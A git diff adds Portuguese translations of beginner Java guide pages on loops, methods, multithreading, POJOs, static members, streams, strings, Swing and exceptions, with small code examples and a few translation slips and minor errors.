+A principal vantagem de usar um loop infinito sobre um loop regular é a legibilidade.
+
+Às vezes, o corpo de um loop é mais fácil de entender se o loop terminar no meio e não no final / início. Em tal situação, um loop infinito será uma escolha melhor.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/loops/while-loop/index.md b/client/src/guide/portuguese/java/loops/while-loop/index.md
new file mode 100644
index 0000000000..39c95ded18
--- /dev/null
+++ b/client/src/guide/portuguese/java/loops/while-loop/index.md
@@ -0,0 +1,42 @@
+---
+title: While Loop
+localeTitle: While Loop
+---
+# While Loop
+
+A `while` loop é executado repetidamente o bloco de instruções até que a condição especificada dentro dos parênteses é avaliada como `false` . Por exemplo:
+
+```java
+while (some_condition_is_true) 
+ { 
+    // do something 
+ } 
+```
+
+Cada 'iteração' (de executar o bloco de instruções) é precedida pela avaliação da condição especificada dentro dos parênteses - As instruções são executadas somente se a condição for avaliada como `true` . Se for avaliado como `false` , a execução do programa é retomada da instrução logo após o bloco `while` .
+
+**Nota:** Para o `while` loop para iniciar a execução, você iria requerer a condição de ser `true` inicialmente. No entanto, para sair do loop, você deve fazer algo dentro do bloco de instruções para, eventualmente, alcançar uma iteração quando a condição for avaliada como `false` (conforme feito abaixo). Caso contrário, o loop será executado para sempre. (Na prática, ele será executado até que a [JVM](https://guide.freecodecamp.org/java/the-java-virtual-machine-jvm) fique sem memória.)
+
+## Exemplo
+
+No exemplo a seguir, a `expression` é dada por `iter_While < 10` . Nós incrementamos `iter_While` por `1` cada vez que o loop é executado. Os `while` ansa quebras quando `iter_While` valor atinge `10` .
+
+```java
+int iter_While = 0; 
+ while (iter_While < 10) 
+ { 
+    System.out.print(iter_While + " "); 
+    // Increment the counter 
+    // Iterated 10 times, iter_While 0,1,2...9 
+    iter_While++; 
+ } 
+ System.out.println("iter_While Value: " + iter_While); 
+```
+
+Saída:
+```
+0 1 2 3 4 5 6 7 8 9 
+ iter_While Value: 10 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJYj/0)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/methods/index.md b/client/src/guide/portuguese/java/methods/index.md
new file mode 100644
index 0000000000..38c0cab48b
--- /dev/null
+++ b/client/src/guide/portuguese/java/methods/index.md
@@ -0,0 +1,89 @@
+---
+title: Methods
+localeTitle: Métodos
+---
+# Métodos
+
+O método mais reconhecível em Java é provavelmente `public static void main(String[]args)` , onde `public` significa que os usuários têm acesso ao método, `static` significa que o método é baseado em uma "classe" em vez de uma "instância", `void` meios que nada será retornado do método para outro método (nível superior) e `main` que é o nome desse método específico.
+
+`getName()` e `getManufacturerName()` são dois métodos "Getter" que usamos aqui. Geralmente, os métodos em Java consistem nessas partes -
+
+*   Acesse Modifer (Opcional) - `public` , `private` ou `protected` . Padrões para pacote privado se omitido
+*   Tipo de Retorno - Isso é obrigatório, denota o valor retornado pelo método ou `void` se nada for retornado
+*   Nome do Método - segue a convenção camelCase
+*   Lista de Parâmetros - Lista de parâmetros com seus nomes e tipos, vazios se nenhum parâmetro for aceito
+*   Corpo do método cercado por `{ }`
+
+Os métodos também podem, opcionalmente, ter a palavra-chave `static` , o que significa que ela está associada à própria classe, em vez de uma instância da classe, ex- `public static void main()` .
+
+Observe que, diferentemente do JavaScript, temos **que** definir o tipo de retorno de qualquer método que escrevermos, caso contrário, ele falhará em tempo de compilação. Se você não quiser que um método retorne nada, use o tipo de retorno `void` .
+
+Cada método tem uma assinatura, que é a combinação do tipo de dados, o nome e o número de argumentos que o método usa. Em `public static void main` o método não possui um tipo de dados especificado e, em vez disso, usa `void` para declarar que nenhum dado é retornado. Em um método chamado `public static double ave(double val, double val)` o tipo de dado é "double" (0.0), o nome é "ave" (average) e o método recebe 2 argumentos. Cada método **deve** ter uma assinatura exclusiva.
+
+```java
+public class Car { 
+    private String name; 
+    private String manufacturersName; 
+ 
+    public void changeName() { 
+        name = "Tesla"; 
+    } 
+ 
+    public String getName(){ 
+        return name; 
+    } 
+ 
+    public String getManufacurername(){ 
+        return manufacturersName; 
+    } 
+ 
+ } 
+```
+
+Parâmetros podem ser passados ​​para métodos. Os parâmetros são declarados logo após o nome do método, entre parênteses. A sintaxe da declaração de parâmetro é \[Tipo de dados\] \[Nome\].
+
+```java
+public class Car { 
+    private String name; 
+ 
+    public void changeName(String newName) { 
+        name = newName; 
+    } 
+ } 
+```
+
+Como acontece com qualquer outra linguagem, os métodos (ou funções, se você está aqui no mundo JS) são usados ​​com freqüência por sua modularidade e reusabilidade.
+
+Os métodos geralmente servem a muitos propósitos, como atualizar informações em um objeto ou fornecer dados de volta ao chamador. Aqui estão alguns exemplos.
+
+```java
+public class Car { 
+    private int numberOfWheels; 
+ 
+    public void setNumberOfWheels(int newNumberOfWheels) { 
+        numberOfWheels = newNumberOfWheels; 
+    } 
+ 
+    public int getNumberOfWheels() { 
+        return numberOfWheels; 
+    } 
+ } 
+```
+
+No caso de `getNumberOfWheels()` o tipo de retorno é `int` que é um número inteiro. A palavra-chave `return` diz ao java para retornar o valor da variável da ocorrência `numberOfWheels` . `setNumberOfWheels(int newNumberOfWheels)` no entanto, não possui nenhum tipo de retorno, pois é um método setter como visto anteriormente. Nesse caso, ele aceita um argumento do tipo `int` e torna a ocorrência varible `numberOfWheels` igual a `newNumberOfWheels` .
+
+Há também um método especial chamado construtor que permite que os dados sejam definidos ou que as operações sejam executadas quando a classe é instanciada. Este construtor não possui nenhum tipo de retorno.
+
+```java
+public class Car { 
+    private String model; 
+    private int numberOfWheels; 
+ 
+    public Car(String model, int numberOfWheels) { 
+        this.model = model; 
+        this.numberOfWheels = numberOfWheels; 
+    } 
+ } 
+```
+
+A classe `Car` e o método `Car(String model, int numberOfWheels)` precisam ter o mesmo nome para que o java saiba que é o construtor. Agora, sempre que você instanciar uma nova ocorrência `Car` com a `new` palavra-chave, precisará chamar esse construtor e passar os dados necessários.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/multithreading/index.md b/client/src/guide/portuguese/java/multithreading/index.md
new file mode 100644
index 0000000000..0cfe9800c4
--- /dev/null
+++ b/client/src/guide/portuguese/java/multithreading/index.md
@@ -0,0 +1,35 @@
+---
+title: Multithreading
+localeTitle: Multithreading
+---
## Multithreading
+
+Multithreading é um processo de execução de vários processos simultaneamente. Java inicia o programa com um thread principal e outros threads são incluídos no thread principal sempre que qualquer usuário o cria. thread principal é o primeiro thread do usuário em qualquer programa Java. Além disso, a JVM garante que todos os encadeamentos do usuário sejam fechados antes do término do programa.
+
+Um thread tem vantagens e desvantagens.
+
+## Vantagens:
+
+*   Executando código independentemente de outros segmentos.
+*   Criação de um design modular.
+
+## Desvantagens:
+
+Condições de corrida e Deadlocks se os segmentos não estiverem sincronizados corretamente.
+
+Tópicos podem ser divididos em duas classes:
+
+*   Threads do Usuário
+*   Threads Daemon
+
+Um thread pode ser criado de duas maneiras:
+
+1.  implementando a interface Runnable: Existe apenas um método na interface Runnable, isto é, public void run (). A implementação desse método garantirá que, sempre que esse encadeamento iniciar o código dentro de run (), seja executado.
+    
+2.  estendendo a classe de segmento. Esta classe também contém public void run () que precisamos sobrescrever para executar nosso próprio código. A desvantagem de usar esse método é que temos uma superclasse em Thread e não podemos estender nenhuma outra classe que possamos desejar.
+    
+
+O código para ambos pode ser encontrado aqui: http://ide.geeksforgeeks.org/k7GjcA.
+
+Você notará que, se esse código for executado várias vezes, os resultados poderão ser diferentes. e isso é decidido pelo sistema operacional no qual ele é executado. O sistema operacional pode escolher qualquer thread de um estado executável e pode executá-lo. Nós não temos controle sobre isso. Se houver vários encadeamentos no estado executável (pronto para execução), qualquer um pode ser selecionado. Ainda não depende de prioridade.
+
+Mais detalhes: https://www.ntu.edu.sg/home/ehchua/programming/java/J5e\_multithreading.html
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/pojo/index.md b/client/src/guide/portuguese/java/pojo/index.md
new file mode 100644
index 0000000000..2400948a96
--- /dev/null
+++ b/client/src/guide/portuguese/java/pojo/index.md
@@ -0,0 +1,39 @@
+---
+title: POJO
+localeTitle: POJO
+---
+## POJO
+
+POJO significa "Plain Old Java Object". Isso é diferente dos Objetos _Javascript_ Antigos Simples. Um Objeto Java Velho Comum refere-se ao paradigma de programação orientada a objetos (Object Oriented Programming - OOP) que é usado na linguagem de programação Java. O [modelo OOP](https://en.wikipedia.org/wiki/Object-oriented_programming) trata os dados como 'objetos'. Cada 'objeto' é uma instância de 'Classe', que representa o arquétipo ou modelo a partir do qual todos os objetos herdam suas propriedades e atributos.
+
+Um POJO é, portanto, simplesmente um objeto Java. No entanto, também deve satisfazer os seguintes critérios adicionais:
+
+1.  não deve estender classes Java pré-especificadas;
+
+```java
+public class Foo extends javax.servlet.http.HttpServlet { 
+ ...// body ... 
+ } 
+```
+
+2.  não deve implementar Interfaces pré-especificadas;
+
+```java
+public class Bar implements javax.ejb.EntityBean { 
+  ...  // body 
+ } 
+```
+
+3.  não deve conter Anotações pré-especificadas.
+
+```java
+@javax.persistence.Entity public class Baz { 
+  ... // body ... 
+ } 
+```
+
+Portanto, um objeto Java se qualifica como um POJO apenas quando está livre das modificações acima. Segue-se, portanto, que um POJO não está “limitado por quaisquer restrições”, a não ser aquelas prescritas pela especificação formal da linguagem Java.
+
+#### Mais Informações:
+
+[Wikipedia - POJOs](https://en.wikipedia.org/wiki/Plain_old_Java_object)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/regular-expressions/index.md b/client/src/guide/portuguese/java/regular-expressions/index.md
new file mode 100644
index 0000000000..361b521308
--- /dev/null
+++ b/client/src/guide/portuguese/java/regular-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: Regular Expressions
+localeTitle: Expressões regulares
+---
+## Expressões regulares
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/resources/index.md b/client/src/guide/portuguese/java/resources/index.md
new file mode 100644
index 0000000000..e03800ad42
--- /dev/null
+++ b/client/src/guide/portuguese/java/resources/index.md
@@ -0,0 +1,49 @@
+---
+title: Resources
+localeTitle: Recursos
+---
+# Recursos
+
+Java é registrado e licenciado pela Oracle. A maioria dos itens a seguir são recursos não oficiais, a menos que sejam hospedados pela Oracle.
+
+## Tutoriais
+
+*   [Tutorial do Oracle Official Java](http://docs.oracle.com/javase/tutorial/index.html)
+*   [Pense em Java](http://greenteapress.com/wp/think-java/)
+*   [Tutoriais Java de Jenkov](http://tutorials.jenkov.com/java/index.html)
+*   [Tutoriais Java e Primavera do Mkyong](http://www.mkyong.com/)
+*   [Tutoriais de Java da Vogella](http://www.vogella.com/tutorials/java.html)
+*   [Tutorial do Java 8](https://github.com/winterbe/java8-tutorial)
+*   [Melhor Java](https://github.com/cxxr/better-java)
+*   [Notas de programação Java por NTU](http://www3.ntu.edu.sg/home/ehchua/programming/index.html#Java)
+*   [HackerRank's 30 dias de Code Challenge com tutoriais em vídeo em Java <](https://www.hackerrank.com/domains/tutorials/30-days-of-code)
+*   [Introdução de Princeton à programação em Java](http://introcs.cs.princeton.edu/java/home/)
+*   [Introdução à programação usando Java](http://math.hws.edu/javanotes/)
+*   [Práticas Java](http://javapractices.com/home/HomeAction.do)
+*   [Padrões de Design Java](https://github.com/iluwatar/java-design-patterns/)
+*   [Algoritmos em Java](https://github.com/pedrovgs/Algorithms)
+*   [Guias oficiais da primavera](https://spring.io/guides)
+*   [TutorialsPoint - Java](http://www.tutorialspoint.com/java/)
+*   [Java para pequenas equipes](https://www.gitbook.com/book/ncrcoe/java-for-small-teams/details)
+
+## Desafios
+
+*   [Koans de Java](https://github.com/matyb/java-koans)
+*   [Coding Bat Java Desafios](http://codingbat.com/java)
+*   [Desafios do Excercism Java](http://exercism.io/languages/java)
+*   [Projeto Euler](https://projecteuler.net/)
+*   [Pratique isso! - Desafios Java](http://practiceit.cs.washington.edu/)
+*   [Codewars - Java Katas](https://www.codewars.com/?language=java)
+*   [HackerRank Java Desafios](https://www.hackerrank.com/domains/java/java-introduction)
+*   [LeetCode](https://leetcode.com/)
+*   [CodeAbbey](http://www.codeabbey.com/)
+
+## Comunidade
+
+*   [Comunidade Java da Oracle](http://www.oracle.com/technetwork/java/community/index.html)
+*   [Java impressionante](https://github.com/akullpp/awesome-java)
+*   [/ r / Java](https://www.reddit.com/r/Java)
+*   [/ r / LearnJava](https://www.reddit.com/r/learnjava)
+*   [Rancho Java](http://www.javaranch.com/)
+*   [Geeks do Código Java](https://www.javacodegeeks.com/)
+*   [Pesquisa da API do Java 8](http://javasearch.org)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/static/index.md b/client/src/guide/portuguese/java/static/index.md
new file mode 100644
index 0000000000..c5fafd21ca
--- /dev/null
+++ b/client/src/guide/portuguese/java/static/index.md
@@ -0,0 +1,132 @@
+---
+title: Static
+localeTitle: Estático
+---
+# Estático
+
+Quando você declara uma variável ou um método como estático, ela pertence à classe, em vez de a uma instância específica. Isso significa que apenas uma instância de um membro estático existe, mesmo se você criar vários objetos da classe ou se não criar nenhum. Ele será compartilhado por todos os objetos.
+
+A palavra-chave static pode ser usada com variáveis, métodos, blocos de códigos e classes aninhadas.
+
+## Variáveis ​​Estáticas
+
+**_Exemplo:_**
+
+```java
+public class Counter { 
+  public static int COUNT = 0; 
+  Counter() { 
+    COUNT++; 
+  } 
+ } 
+```
+
+A variável `COUNT` será compartilhada por todos os objetos dessa classe. Quando criamos objetos da nossa classe Counter no main e acessamos a variável estática.
+
+```java
+public class MyClass { 
+  public static void main(String[] args) { 
+    Counter c1 = new Counter(); 
+    Counter c2 = new Counter(); 
+    System.out.println(Counter.COUNT); 
+  } 
+ } 
+ // Outputs "2" 
+```
+
+O outout é 2, porque a variável `COUNT` é estática e é incrementada por um a cada vez que um novo objeto da classe Counter é criado. Você também pode acessar a variável estática usando qualquer objeto dessa classe, como `c1.COUNT` .
+
+## Métodos estáticos
+
+Um método estático pertence à classe em vez de instâncias. Assim, pode ser chamado sem criar instância de classe. É usado para alterar os conteúdos estáticos da classe. Existem algumas restrições de métodos estáticos:
+
+1.  O método estático não pode usar membros não estáticos (variáveis ​​ou funções) da classe.
+2.  Método estático não pode usar `this` ou `super` palavras `super` chave.
+
+**_Exemplo:_**
+
+```java
+public class Counter { 
+  public static int COUNT = 0; 
+  Counter() { 
+    COUNT++; 
+  } 
+ 
+  public static void increment(){ 
+    COUNT++; 
+  } 
+ } 
+```
+
+Métodos estáticos também podem ser chamados da instância da classe.
+
+```java
+public class MyClass { 
+  public static void main(String[] args) { 
+    Counter.increment(); 
+    Counter.increment(); 
+    System.out.println(Counter.COUNT); 
+  } 
+ } 
+ // Outputs "2" 
+```
+
+A saída é 2 porque é incrementada pelo método estático `increament()` . Semelhante a variáveis ​​estáticas, os métodos estáticos também podem ser acessados ​​usando variáveis ​​de instância.
+
+## Blocos estáticos
+
+Blocos de código estático são usados ​​para inicializar variáveis ​​estáticas. Esses blocos são executados imediatamente após a declaração de variáveis ​​estáticas.
+
+**_Exemplo:_**
+
+```java
+public class Saturn { 
+  public static final int MOON_COUNT; 
+ 
+  static { 
+    MOON_COUNT = 62; 
+  } 
+ } 
+```
+
+```java
+public class Main { 
+  public static void main(String[] args) { 
+    System.out.println(Saturn.MOON_COUNT); 
+  } 
+ } 
+ // Outputs "62" 
+```
+
+A saída é 62, porque a variável `MOON_COUNT` é atribuída a esse valor no bloco estático.
+
+## Classes aninhadas estáticas
+
+Uma classe pode ter uma classe aninhada estática que pode ser acessada usando o nome da classe externa.
+
+**_Exemplo:_**
+
+```java
+public class Outer { 
+ 
+  public Outer() { 
+  } 
+ 
+  public static class Inner { 
+    public Inner() { 
+    } 
+  } 
+ } 
+```
+
+No exemplo acima, a classe `Inner` pode ser acessada diretamente como um membro estático da classe `Outer` .
+
+```java
+public class Main { 
+  public static void main(String[] args) { 
+    Outer.Inner inner = new Outer.Inner(); 
+  } 
+ } 
+```
+
+Um dos casos de uso de classes aninhadas estáticas no [Builder Pattern](https://en.wikipedia.org/wiki/Builder_pattern#Java) usado popularmente em java.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/streams/index.md b/client/src/guide/portuguese/java/streams/index.md
new file mode 100644
index 0000000000..98457035b4
--- /dev/null
+++ b/client/src/guide/portuguese/java/streams/index.md
@@ -0,0 +1,99 @@
+---
+title: Streams
+localeTitle: Córregos
+---
+# Córregos
+
+No Java 8 Streams foi adicionado como um novo recurso a caixa de ferramentas Java. Os fluxos permitem que você processe coleções rapidamente e de forma limpa.
+
+Por favor, leia o capítulo sobre lambdas e programação funcional antes de continuar.
+
+## Como funciona
+
+O Stream percorre os elementos da coleção para você. Cada intermediário e a operação do terminal são chamados para cada objeto. Quando todas as operações forem concluídas para os primeiros objetos, o segundo objeto será carregado.
+
+## Métodos Importantes
+
+### Criação
+
+*   `Collection.stream()` : cria um Stream a partir de qualquer objeto de qualquer classe que implementa `Collection`
+*   `Arrays.stream(array)` : cria um fluxo a partir de uma matriz
+
+### Operações Intermediárias
+
+Essas operações convertem os objetos de fluxo de alguma forma.
+
+*   `Stream.map(Function<In,Out> function)` : aplica uma função para converter In para Out
+*   `Stream.filter(Predicate<In> predicate)` : remove Objetos do Fluxo para o qual o Predicado não testa true
+*   `Stream.distinct()` : remove objetos do fluxo que são duplicados
+*   `Stream.sorted()` : classifica os objetos no fluxo
+*   `Stream.limit(int n)` : finaliza o fluxo após n objetos
+
+### Operações de Terminal
+
+Essas operações recebem os objetos de fluxo e terminam o fluxo.
+
+*   `Stream.collect(Collector<In,?,Out> collector)` : colete todos os objetos no fluxo no objeto
+*   `Stream.forEach(Consumer<In> consumer)` : consuma todos os Objetos no Stream usando a função consumer
+*   `Stream.count()` : conta todos os objetos no fluxo
+*   `Stream.findFirst()` : retorna o primeiro objeto do fluxo e pára
+*   `Stream.anyMatch(Predicate<In> predicate)` : retorna true se qualquer objeto no fluxo for true para o predicado
+*   `Stream.allMatch(Predicate<In> predicate)` : retorna true se todos os Objetos no teste de fluxo forem verdadeiros para o Predicado
+
+## Exemplos
+
+```java
+// print the length of all Strings in a List 
+ for (String string : Arrays.asList("abc", "de", "f", "abc")) { 
+    int length = string.length(); 
+    System.out.println(length); 
+ } 
+ 
+ Arrays.asList("abc", "de", "f", "abc") 
+        .stream() 
+        .map(String::length) 
+        .forEach(System.out::println); 
+ 
+ // output: 3 2 1 3 
+```
+
+```java
+// print all Strings in a List with a Length greater than 2 
+ for (String string : Arrays.asList("abc", "de", "f", "abc")) { 
+    if (string.length() > 2) { 
+        System.out.println(string); 
+    } 
+ } 
+ 
+ Arrays.asList("abc", "de", "f", "abc") 
+        .stream() 
+        .filter(string -> string.length() > 2) 
+        .forEach(System.out::println); 
+ 
+ // output: abc abc 
+```
+
+```java
+// create a sorted List with all unique Strings from another List which are longer than or requal 2 
+ List<String> result = new ArrayList<>(); 
+ for (String string : Arrays.asList("de", "abc", "f", "abc")) { 
+    if (string.length() >= 2 
+            && ! result.contains(string)) { 
+        result.add(string); 
+    } 
+ } 
+ Collections.sort(result); 
+ 
+ List<String> result2 = Arrays.asList("de", "abc", "f", "abc") 
+        .stream() 
+        .filter(string -> string.length() >= 2) 
+        .distinct() 
+        .sorted() 
+        .collect(Collectors.toList()); 
+ 
+ // result: abc de 
+```
+
+### Fontes
+
+1.  [Processando Dados com Fluxos do Java SE 8, Parte 1](http://www.oracle.com/technetwork/articles/java/ma14-java-se-8-streams-2177646.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/strings/index.md b/client/src/guide/portuguese/java/strings/index.md
new file mode 100644
index 0000000000..783ca60180
--- /dev/null
+++ b/client/src/guide/portuguese/java/strings/index.md
@@ -0,0 +1,140 @@
+---
+title: Strings
+localeTitle: Cordas
+---
+# Cordas
+
+Strings são seqüências de caracteres. Em Java, uma `String` é um `Object` . As strings não devem ser confundidas com `char` pois os caracteres são literalmente 1 valor em vez de uma sequência de caracteres. Você ainda pode usar 1 valor dentro de uma String, no entanto, é preferível usar `char` quando você está verificando 1 caractere.
+
+```java
+String course = "FCC"; 
+ System.out.println(course instanceof Object); 
+```
+
+Saída:
+```
+true 
+```
+
+Você pode criar um objeto String das seguintes maneiras:
+
+1.  `String str = "I am a String"; //as a String literal`
+2.  `String str = "I am a " + "String"; //as a constant expression`
+3.  `String str = new String("I am a String"); //as a String Object using the constructor`
+
+Você pode estar pensando: qual é a diferença entre os três?
+
+Bem, o uso da `new` palavra-chave garante que um novo objeto `String` será criado e um novo local de memória será alocado no `Heap` memória [(clique aqui para saber mais)](https://docs.oracle.com/cd/E13150_01/jrockit_jvm/jrockit/geninfo/diagnos/garbage_collect.html) . Corda literais e constantes As expressões String são armazenadas em cache no momento da compilação. O compilador coloca-os no conjunto literal de cadeias para evitar duplicatas e melhorar o consumo de memória. A alocação de objetos é cara e esse truque aumenta o desempenho enquanto instancia Strings. Se você usar o mesmo literal novamente, a JVM usa o mesmo objeto. Usar o contructor como acima é quase sempre uma escolha pior.
+
+Nesse trecho de código, quantos objetos String são criados?
+
+```java
+String str = "This is a string"; 
+ String str2 = "This is a string"; 
+ String str3 = new String("This is a string"); 
+```
+
+A resposta é: 2 objetos String são criados. `str` e `str2` referem-se ao mesmo objeto. `str3` tem o mesmo conteúdo, mas usando `new` forçadas a criação de um novo objeto distinto.
+
+Quando você cria um literal String, a JVM verifica internamente, o que é conhecido como o `String pool` , para ver se ele pode encontrar um semelhante (conteúdo sábio) Objeto String. Se encontrar, retorna a mesma referência. Caso contrário, basta ir em frente e cria um novo objeto String no pool para que a mesma verificação pode ser realizada no futuro.
+
+Você pode testar isso usando a andorinha, a comparação rápida de objetos `==` e os `equals()` implementados.
+
+```java
+System.out.println(str == str2); // This prints 'true' 
+ System.out.println(str == str3); // This prints 'false' 
+ System.out.println(str.equals(str3)); // This prints 'true' 
+```
+
+Aqui está outro exemplo de como criar uma string em Java usando os diferentes métodos:
+
+```java
+public class StringExample{ 
+ 
+   public static void main(String args[]) { 
+      String s1 = "java";  // creating string by Java string literal 
+      char ch[] = {'s','t','r','i','n','g','s'}; 
+      String s2 = new String(ch);  // converting char array to string 
+      String s3 = new String("example");  // creating Java string by new keyword 
+      System.out.println(s1); 
+      System.out.println(s2); 
+      System.out.println(s3); 
+   } 
+ } 
+```
+
+#### Comparando Cordas
+
+Se você quiser comparar o valor de duas variáveis ​​String, não será possível usar ==. Isso se deve ao fato de que isso vai comparar as referências das variáveis e não os valores que estão ligados a eles. Para comparar os valores armazenados das Strings, você usa o método igual a.
+
+```java
+boolean equals(Object obj) 
+```
+
+Retorna true se dois objetos são iguais e false caso contrário.
+
+```java
+String str = "Hello world"; 
+ String str2 = "Hello world"; 
+ 
+ System.out.println(str == str2); // This prints false 
+ System.out.println(str.equals(str2); // This prints true 
+```
+
+A primeira comparação é falsa porque "==" analisa as referências e elas não são as mesmas.
+
+A segunda comparação é verdadeira porque as variáveis ​​armazenam os mesmos valores. Neste caso, "Olá mundo".
+
+Temos vários métodos internos em String. A seguir, um exemplo do método String Length ().
+
+```java
+public class StringDemo { 
+ 
+   public static void main(String args[]) { 
+      String palindrome = "Dot saw I was Tod"; 
+      int len = palindrome.length(); 
+      System.out.println( "String Length is : " + len ); 
+   } 
+ } 
+```
+
+Isto irá resultar em - `String Length is : 17`
+
+**A resposta é: 2** objetos String são criados. **Notas**
+
+1.  Os métodos de string usam índices baseados em zero, exceto pelo segundo argumento de `substring()` .
+2.  A classe String é final - seus métodos não podem ser substituídos.
+3.  Quando o literal String é encontrado pela JVM, ele é adicionado ao pool literal de string.
+4.  A classe string possui um `length()` nome de método `length()` , enquanto matrizes têm um comprimento de nomenclatura de atributo.
+5.  Em java, objetos string são imutáveis. Imutável significa simplesmente inalterável ou imutável. Uma vez criado o objeto string, seus dados ou estados não podem ser alterados, mas um novo objeto string é criado.
+
+Comprimento da corda
+
+O "comprimento" de uma string é apenas o número de caracteres nela. Então, "hi" é length 2 e "Hello" é length 5. O método length () em uma string retorna seu tamanho, assim:
+
+```java
+String a = "Hello"; 
+ int len = a.length();  // len is 5 
+```
+
+#### Outros métodos de comparação que também podem ser usados ​​na String são:
+
+1.  equalsIgnoreCase (): - compara a string sem levar em consideração a diferenciação entre maiúsculas e minúsculas.
+
+```java
+String a = "HELLO"; 
+ String b = "hello"; 
+ System.out.println(a.equalsIgnoreCase(b));   // It will print true 
+```
+
+2.  compareTo: - compara o valor lexicograficamente e retorna um inteiro.
+
+```java
+String a = "Sam"; 
+ String b = "Sam"; 
+ String c = "Ram"; 
+ System.out.println(a.compareTo(b));       // 0 
+ System.out.prinltn(a.compareTo(c));       // 1 since (a>b) 
+ System.out.println(c.compareTo(a));       // -1 since (c<a) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/swing/index.md b/client/src/guide/portuguese/java/swing/index.md
new file mode 100644
index 0000000000..1c65635116
--- /dev/null
+++ b/client/src/guide/portuguese/java/swing/index.md
@@ -0,0 +1,36 @@
+---
+title: Java Swing
+localeTitle: Java Swing
+---
+## Java Swing
+
+Vamos explorar o tutorial de swing do Java. Antes de sujarmos as mãos com o Swing, é recomendável que você passe pelo [AWT (Abstract Window Toolkit). Mais](https://www.studytonight.com/java/java-awt.php) cedo, Swing foi adicionado como parte do [JFC (Java Foundation Classes)](https://en.wikipedia.org/wiki/Java_Foundation_Classes) . No entanto, ele foi totalmente mesclado no Java de Java. 1.2 em diante.
+
+### Recursos impressionáveis
+
+1.  Componentes leves - Como os componentes do Swing são escritos completamente em JAVA, eles não usam recursos específicos da plataforma como os componentes AWT.
+    
+2.  Olhar e sentir plugável (PLAF) - O aspecto visual e visual é inteiramente determinado pelo próprio Swing. Isso facilita a distinção entre aparência e lógica do componente.
+    
+
+Swing GUI consiste em dois pilares principais: -componentes e contêineres.A parte seguinte discute sobre os dois completamente.
+
+### Componentes
+
+Um Componente é simplesmente um controle visual independente. Os componentes de observação são derivados da classe JComponent. Além disso, o JComponent herda todas as suas características de Contêineres e Componentes do AWT. Para obter mais informações, consulte a hierarquia da classe [JComponent](https://docs.oracle.com/javase/tutorial/uiswing/components/jcomponent.html) .
+
+### Recipientes
+
+Todos os contêineres também são componentes. Recipientes podem incluir um ou mais componentes. Swing define dois tipos de contêineres
+
+*   herda de JComponent - por exemplo, JFrame, JWindow, JApplet, JDialog
+*   não herda de JComponent - por exemplo, JPanel
+
+### Pacotes
+
+O Swing é composto por um grande número de pacotes. Por favor, [leia a documentação oficial](https://docs.oracle.com/javase/7/docs/api/javax/swing/package-use.html) para mais informações.
+
+#### Mais Informações:
+
+*   [Docs do Oracle](https://docs.oracle.com/javase/7/docs/api/javax/swing/package-use.html)
+*   [Wikipedia](https://en.wikipedia.org/wiki/Swing_(Java)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/the-java-virtual-machine-jvm/index.md b/client/src/guide/portuguese/java/the-java-virtual-machine-jvm/index.md
new file mode 100644
index 0000000000..56a0fb65cb
--- /dev/null
+++ b/client/src/guide/portuguese/java/the-java-virtual-machine-jvm/index.md
@@ -0,0 +1,13 @@
+---
+title: Java Virtual Machine
+localeTitle: Máquina Virtual JAVA
+---
+# A máquina virtual de Java (JVM)
+
+Java pertence a uma família de linguagens chamadas [**Linguagens compiladas**](https://en.wikipedia.org/wiki/Compiled_language) . Qualquer código escrito em tal idioma precisa ser convertido (compilado) em um formato intermediário que pode ser entendido pela plataforma do host (o sistema operacional / plataforma no qual o código é executado).
+
+Para Java, essa forma intermediária é chamada **Bytecode,** que é então interpretada por um tempo de execução chamado Java Virtual Machine (JVM). Pense na [**JVM**](https://docs.oracle.com/javase/specs/jvms/se7/html/) como um software que faz o trabalho pesado de executar seu código Java. Ele cuida da alocação de memória, gerenciamento de thread, coleta de lixo e muito mais. Além do Java, ele também suporta código (leia-se: capaz de executar) escrito em linguagens como Groovy, Scala etc.
+
+Em Java, o código é gravado e salvo como arquivos `.java` . O compilador (javac) opera nos arquivos java e gera os arquivos Bytecode ( `.class` ) equivalentes. O comando `java` agora seria capaz de executar o Bytecode armazenado nos arquivos `.class` . Mais sobre isso depois.
+
+As seções a seguir descrevem alguns dos blocos básicos de codificação em Java.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/throw-keyword/index.md b/client/src/guide/portuguese/java/throw-keyword/index.md
new file mode 100644
index 0000000000..bccdb2d99d
--- /dev/null
+++ b/client/src/guide/portuguese/java/throw-keyword/index.md
@@ -0,0 +1,17 @@
+---
+title: Throw
+localeTitle: Lançar
+---
+## lançar
+
+A palavra-chave throw do Java é usada para lançar explicitamente uma exceção. É possível lançar uma exceção marcada ou não marcada em java por meio da palavra-chave throw. A palavra-chave throw é usada principalmente para lançar uma exceção personalizada.
+
+**_Exemplo:_**
+
+```java
+throw new ArithmeticException("/ by zero not permitted"); 
+```
+
+##### Mais recursos
+
+[Geeks para Geeks](https://www.geeksforgeeks.org/throw-throws-java/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/throws-keyword/index.md b/client/src/guide/portuguese/java/throws-keyword/index.md
new file mode 100644
index 0000000000..159c850529
--- /dev/null
+++ b/client/src/guide/portuguese/java/throws-keyword/index.md
@@ -0,0 +1,32 @@
+---
+title: Throws
+localeTitle: Lança
+---
+## lança
+
+A palavra-chave throws do Java é usada para declarar uma exceção. Ele fornece uma informação para o programador de que pode ocorrer uma exceção, então é melhor para o programador fornecer o código de tratamento de exceção para que o fluxo normal possa ser mantido.
+
